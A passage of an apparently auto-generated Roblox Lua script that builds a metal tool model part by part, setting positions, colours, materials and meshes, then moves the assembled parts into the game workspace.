- UnionOperation154.Position = Vector3.new(138.13414, 5.90847492, -132.75415)
- UnionOperation154.Rotation = Vector3.new(89.8099976, -4, -92.0299988)
- UnionOperation154.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation154.Size = Vector3.new(0.0809009522, 0.151689589, 0.141576365)
- UnionOperation154.Anchored = true
- UnionOperation154.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation154.Material = Enum.Material.Metal
- UnionOperation154.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation155.Parent = Tool106
- UnionOperation155.CFrame = CFrame.new(137.663681, 6.13399076, -132.738556, 0.996937513, 0.0697446987, 0.0353779905, -0.0698160306, 0.997559547, 0.000783437688, -0.035237018, -0.00325098867, 0.999373674)
- UnionOperation155.Orientation = Vector3.new(-0.0399999991, 2.02999997, -4)
- UnionOperation155.Position = Vector3.new(137.663681, 6.13399076, -132.738556)
- UnionOperation155.Rotation = Vector3.new(-0.0399999991, 2.02999997, -4)
- UnionOperation155.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation155.Size = Vector3.new(0.0303378403, 0.0505631082, 0.0809009075)
- UnionOperation155.Anchored = true
- UnionOperation155.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation155.Material = Enum.Material.Metal
- UnionOperation155.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation156.Parent = Tool106
- UnionOperation156.CFrame = CFrame.new(137.399384, 5.90661907, -132.728607, 0.996937513, 0.0353779607, -0.0697447136, -0.0698160306, 0.000783002179, -0.997559547, -0.035237018, 0.999373674, 0.00325055257)
- UnionOperation156.Orientation = Vector3.new(86, -87.3300018, -89.3600006)
- UnionOperation156.Position = Vector3.new(137.399384, 5.90661907, -132.728607)
- UnionOperation156.Rotation = Vector3.new(89.8099976, -4, -2.02999997)
- UnionOperation156.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation156.Size = Vector3.new(1.21352243, 0.162813187, 0.460127503)
- UnionOperation156.Anchored = true
- UnionOperation156.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation156.Material = Enum.Material.Metal
- UnionOperation156.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation157.Parent = Tool106
- UnionOperation157.CFrame = CFrame.new(136.116425, 6.10803604, -132.681946, -0.0353890099, 0.9969365, -0.0697516054, -0.000783000316, -0.0698229671, -0.99755913, -0.999373317, -0.0352480076, 0.00325156702)
- UnionOperation157.Orientation = Vector3.new(86, -87.3300018, -179.360001)
- UnionOperation157.Position = Vector3.new(136.116425, 6.10803604, -132.681946)
- UnionOperation157.Rotation = Vector3.new(89.8099976, -4, -92.0299988)
- UnionOperation157.Color = Color3.new(0.356863, 0.364706, 0.411765)
- UnionOperation157.Size = Vector3.new(0.0960697979, 1.47644246, 0.09606985)
- UnionOperation157.Anchored = true
- UnionOperation157.BrickColor = BrickColor.new("Smoky grey")
- UnionOperation157.Material = Enum.Material.Metal
- UnionOperation157.Reflectance = 0.10000000149012
- UnionOperation157.brickColor = BrickColor.new("Smoky grey")
- UnionOperation158.Parent = Tool106
- UnionOperation158.CFrame = CFrame.new(136.046326, 6.12048578, -132.680878, -0.0353890099, 0.9969365, -0.0697516054, -0.000783000316, -0.0698229671, -0.99755913, -0.999373317, -0.0352480076, 0.00325156702)
- UnionOperation158.Orientation = Vector3.new(86, -87.3300018, -179.360001)
- UnionOperation158.Position = Vector3.new(136.046326, 6.12048578, -132.680878)
- UnionOperation158.Rotation = Vector3.new(89.8099976, -4, -92.0299988)
- UnionOperation158.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation158.Size = Vector3.new(0.161802217, 1.78018582, 0.171918303)
- UnionOperation158.Anchored = true
- UnionOperation158.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation158.Material = Enum.Material.Metal
- UnionOperation158.brickColor = BrickColor.new("Dark stone grey")
- Part159.Name = "Circle"
- Part159.Parent = Tool106
- Part159.CFrame = CFrame.new(136.846329, 5.90004778, -132.612335, 0.996937037, 0.0353789702, -0.0697506741, -0.0698219985, 0.000783001422, -0.997559249, -0.0352380015, 0.999373615, 0.00325083337)
- Part159.Orientation = Vector3.new(86, -87.3300018, -89.3600006)
- Part159.Position = Vector3.new(136.846329, 5.90004778, -132.612335)
- Part159.Rotation = Vector3.new(89.8099976, -4, -2.02999997)
- Part159.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part159.Anchored = true
- Part159.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.CanCollide = false
- Part159.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.Material = Enum.Material.Metal
- Part159.Reflectance = 0.10000000149012
- Part159.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part159.FormFactor = Enum.FormFactor.Custom
- Part159.formFactor = Enum.FormFactor.Custom
- CylinderMesh160.Parent = Part159
- CylinderMesh160.Scale = Vector3.new(0.29073751, 0.0505630933, 0.328659981)
- Part161.Name = "Circle"
- Part161.Parent = Tool106
- Part161.CFrame = CFrame.new(136.820038, 5.90387201, -132.794281, 0.996937037, 0.0353789702, -0.0697506741, -0.0698219985, 0.000783001422, -0.997559249, -0.0352380015, 0.999373615, 0.00325083337)
- Part161.Orientation = Vector3.new(86, -87.3300018, -89.3600006)
- Part161.Position = Vector3.new(136.820038, 5.90387201, -132.794281)
- Part161.Rotation = Vector3.new(89.8099976, -4, -2.02999997)
- Part161.Color = Color3.new(0.356863, 0.364706, 0.411765)
- Part161.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part161.Anchored = true
- Part161.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part161.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part161.BrickColor = BrickColor.new("Smoky grey")
- Part161.CanCollide = false
- Part161.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part161.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part161.Material = Enum.Material.Metal
- Part161.Reflectance = 0.10000000149012
- Part161.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part161.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part161.brickColor = BrickColor.new("Smoky grey")
- Part161.FormFactor = Enum.FormFactor.Custom
- Part161.formFactor = Enum.FormFactor.Custom
- CylinderMesh162.Parent = Part161
- CylinderMesh162.Scale = Vector3.new(0.492989749, 0.0505630933, 0.455067575)
- Part163.Name = "Circle"
- Part163.Parent = Tool106
- Part163.CFrame = CFrame.new(136.726227, 5.95920277, -132.618729, 0.996937037, 0.0353789702, -0.0697506741, -0.0698219985, 0.000783001422, -0.997559249, -0.0352380015, 0.999373615, 0.00325083337)
- Part163.Orientation = Vector3.new(86, -87.3300018, -89.3600006)
- Part163.Position = Vector3.new(136.726227, 5.95920277, -132.618729)
- Part163.Rotation = Vector3.new(89.8099976, -4, -2.02999997)
- Part163.Color = Color3.new(0.356863, 0.364706, 0.411765)
- Part163.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part163.Anchored = true
- Part163.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part163.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part163.BrickColor = BrickColor.new("Smoky grey")
- Part163.CanCollide = false
- Part163.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part163.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part163.Material = Enum.Material.Metal
- Part163.Reflectance = 0.10000000149012
- Part163.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part163.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part163.brickColor = BrickColor.new("Smoky grey")
- Part163.FormFactor = Enum.FormFactor.Custom
- Part163.formFactor = Enum.FormFactor.Custom
- CylinderMesh164.Parent = Part163
- CylinderMesh164.Scale = Vector3.new(0.29073751, 0.0505630933, 0.328659981)
- Part165.Name = "Circle"
- Part165.Parent = Tool106
- Part165.CFrame = CFrame.new(136.825989, 5.90394306, -132.622375, 0.996937037, 0.0353789702, -0.0697506741, -0.0698219985, 0.000783001422, -0.997559249, -0.0352380015, 0.999373615, 0.00325083337)
- Part165.Orientation = Vector3.new(86, -87.3300018, -89.3600006)
- Part165.Position = Vector3.new(136.825989, 5.90394306, -132.622375)
- Part165.Rotation = Vector3.new(89.8099976, -4, -2.02999997)
- Part165.Color = Color3.new(0.356863, 0.364706, 0.411765)
- Part165.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part165.Anchored = true
- Part165.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.BrickColor = BrickColor.new("Smoky grey")
- Part165.CanCollide = false
- Part165.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.Material = Enum.Material.Metal
- Part165.Reflectance = 0.10000000149012
- Part165.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part165.brickColor = BrickColor.new("Smoky grey")
- Part165.FormFactor = Enum.FormFactor.Custom
- Part165.formFactor = Enum.FormFactor.Custom
- CylinderMesh166.Parent = Part165
- CylinderMesh166.Scale = Vector3.new(0.492989749, 0.0505630933, 0.455067575)
- Part167.Name = "Circle"
- Part167.Parent = Tool106
- Part167.CFrame = CFrame.new(136.839737, 5.89997578, -132.80426, 0.996937037, 0.0353789702, -0.0697506741, -0.0698219985, 0.000783001422, -0.997559249, -0.0352380015, 0.999373615, 0.00325083337)
- Part167.Orientation = Vector3.new(86, -87.3300018, -89.3600006)
- Part167.Position = Vector3.new(136.839737, 5.89997578, -132.80426)
- Part167.Rotation = Vector3.new(89.8099976, -4, -2.02999997)
- Part167.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part167.Anchored = true
- Part167.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part167.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part167.CanCollide = false
- Part167.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part167.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part167.Material = Enum.Material.Metal
- Part167.Reflectance = 0.10000000149012
- Part167.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part167.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part167.FormFactor = Enum.FormFactor.Custom
- Part167.formFactor = Enum.FormFactor.Custom
- CylinderMesh168.Parent = Part167
- CylinderMesh168.Scale = Vector3.new(0.29073751, 0.0505630933, 0.328659981)
- Part169.Name = "Circle"
- Part169.Parent = Tool106
- Part169.CFrame = CFrame.new(136.719925, 5.95902014, -132.790588, 0.996937037, 0.0353789702, -0.0697506741, -0.0698219985, 0.000783001422, -0.997559249, -0.0352380015, 0.999373615, 0.00325083337)
- Part169.Orientation = Vector3.new(86, -87.3300018, -89.3600006)
- Part169.Position = Vector3.new(136.719925, 5.95902014, -132.790588)
- Part169.Rotation = Vector3.new(89.8099976, -4, -2.02999997)
- Part169.Color = Color3.new(0.356863, 0.364706, 0.411765)
- Part169.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part169.Anchored = true
- Part169.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part169.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part169.BrickColor = BrickColor.new("Smoky grey")
- Part169.CanCollide = false
- Part169.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part169.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part169.Material = Enum.Material.Metal
- Part169.Reflectance = 0.10000000149012
- Part169.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part169.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part169.brickColor = BrickColor.new("Smoky grey")
- Part169.FormFactor = Enum.FormFactor.Custom
- Part169.formFactor = Enum.FormFactor.Custom
- CylinderMesh170.Parent = Part169
- CylinderMesh170.Scale = Vector3.new(0.29073751, 0.0505630933, 0.328659981)
- WedgePart171.Parent = Tool106
- WedgePart171.CFrame = CFrame.new(137.117157, 5.95460176, -132.632263, 0.0353890099, 0.0697510242, -0.99693656, 0.000783000316, 0.99755913, 0.0698223934, 0.999373317, -0.0032515463, 0.0352480151)
- WedgePart171.Orientation = Vector3.new(-4, -87.9800034, 0.0399999991)
- WedgePart171.Position = Vector3.new(137.117157, 5.95460176, -132.632263)
- WedgePart171.Rotation = Vector3.new(-63.2099991, -85.5100021, -63.0999985)
- WedgePart171.Color = Color3.new(0.356863, 0.364706, 0.411765)
- WedgePart171.Size = Vector3.new(0.200000003, 0.200000003, 0.313491046)
- WedgePart171.Anchored = true
- WedgePart171.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart171.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart171.BrickColor = BrickColor.new("Smoky grey")
- WedgePart171.CanCollide = false
- WedgePart171.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart171.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart171.Material = Enum.Material.Metal
- WedgePart171.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart171.brickColor = BrickColor.new("Smoky grey")
- WedgePart171.FormFactor = Enum.FormFactor.Custom
- WedgePart171.formFactor = Enum.FormFactor.Custom
- SpecialMesh172.Parent = WedgePart171
- SpecialMesh172.Scale = Vector3.new(0.0505630486, 0.252815455, 1)
- SpecialMesh172.MeshType = Enum.MeshType.Wedge
- WedgePart173.Parent = Tool106
- WedgePart173.CFrame = CFrame.new(137.111023, 5.95447302, -132.803955, 0.0353890099, 0.0697510242, -0.99693656, 0.000783000316, 0.99755913, 0.0698223934, 0.999373317, -0.0032515463, 0.0352480151)
- WedgePart173.Orientation = Vector3.new(-4, -87.9800034, 0.0399999991)
- WedgePart173.Position = Vector3.new(137.111023, 5.95447302, -132.803955)
- WedgePart173.Rotation = Vector3.new(-63.2099991, -85.5100021, -63.0999985)
- WedgePart173.Color = Color3.new(0.356863, 0.364706, 0.411765)
- WedgePart173.Size = Vector3.new(0.200000003, 0.200000003, 0.313491046)
- WedgePart173.Anchored = true
- WedgePart173.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart173.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart173.BrickColor = BrickColor.new("Smoky grey")
- WedgePart173.CanCollide = false
- WedgePart173.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart173.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart173.Material = Enum.Material.Metal
- WedgePart173.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart173.brickColor = BrickColor.new("Smoky grey")
- WedgePart173.FormFactor = Enum.FormFactor.Custom
- WedgePart173.formFactor = Enum.FormFactor.Custom
- SpecialMesh174.Parent = WedgePart173
- SpecialMesh174.Scale = Vector3.new(0.0505630486, 0.252815455, 1)
- SpecialMesh174.MeshType = Enum.MeshType.Wedge
- WedgePart175.Parent = Tool106
- WedgePart175.CFrame = CFrame.new(136.910385, 5.96902895, -132.624985, -0.0353890099, 0.0697510242, 0.99693656, -0.000783000316, 0.99755913, -0.0698223934, -0.999373317, -0.0032515463, -0.0352480151)
- WedgePart175.Orientation = Vector3.new(4, 92.0199966, -0.0399999991)
- WedgePart175.Position = Vector3.new(136.910385, 5.96902895, -132.624985)
- WedgePart175.Rotation = Vector3.new(116.790001, 85.5100021, -116.900002)
- WedgePart175.Color = Color3.new(0.356863, 0.364706, 0.411765)
- WedgePart175.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- WedgePart175.Anchored = true
- WedgePart175.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart175.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart175.BrickColor = BrickColor.new("Smoky grey")
- WedgePart175.CanCollide = false
- WedgePart175.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart175.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart175.Material = Enum.Material.Metal
- WedgePart175.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart175.brickColor = BrickColor.new("Smoky grey")
- WedgePart175.FormFactor = Enum.FormFactor.Custom
- WedgePart175.formFactor = Enum.FormFactor.Custom
- SpecialMesh176.Parent = WedgePart175
- SpecialMesh176.Scale = Vector3.new(0.0505630486, 0.252815455, 0.505630612)
- SpecialMesh176.MeshType = Enum.MeshType.Wedge
- WedgePart177.Parent = Tool106
- WedgePart177.CFrame = CFrame.new(136.904419, 5.96899223, -132.796661, -0.0353890099, 0.0697510242, 0.99693656, -0.000783000316, 0.99755913, -0.0698223934, -0.999373317, -0.0032515463, -0.0352480151)
- WedgePart177.Orientation = Vector3.new(4, 92.0199966, -0.0399999991)
- WedgePart177.Position = Vector3.new(136.904419, 5.96899223, -132.796661)
- WedgePart177.Rotation = Vector3.new(116.790001, 85.5100021, -116.900002)
- WedgePart177.Color = Color3.new(0.356863, 0.364706, 0.411765)
- WedgePart177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- WedgePart177.Anchored = true
- WedgePart177.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart177.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart177.BrickColor = BrickColor.new("Smoky grey")
- WedgePart177.CanCollide = false
- WedgePart177.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart177.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart177.Material = Enum.Material.Metal
- WedgePart177.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- WedgePart177.brickColor = BrickColor.new("Smoky grey")
- WedgePart177.FormFactor = Enum.FormFactor.Custom
- WedgePart177.formFactor = Enum.FormFactor.Custom
- SpecialMesh178.Parent = WedgePart177
- SpecialMesh178.Scale = Vector3.new(0.0505630486, 0.252815455, 0.505630612)
- SpecialMesh178.MeshType = Enum.MeshType.Wedge
- Part179.Name = "P2"
- Part179.Parent = Model0
- Part179.CFrame = CFrame.new(154.066391, 1.80000997, -140.35318, 0.999989986, 0, -0.00448499992, 0, 1, 0, 0.00448499992, 0, 0.999989986)
- Part179.Orientation = Vector3.new(0, -0.25999999, 0)
- Part179.Position = Vector3.new(154.066391, 1.80000997, -140.35318)
- Part179.Rotation = Vector3.new(0, -0.25999999, 0)
- Part179.Size = Vector3.new(4, 3.5999999, 4)
- Part179.Anchored = true
- SpecialMesh180.Parent = Part179
- SpecialMesh180.MeshId = "http://www.roblox.com/asset/?id=92598630"
- SpecialMesh180.Scale = Vector3.new(3, 3, 3)
- SpecialMesh180.TextureId = "http://www.roblox.com/asset/?id=92599263"
- SpecialMesh180.MeshType = Enum.MeshType.FileMesh
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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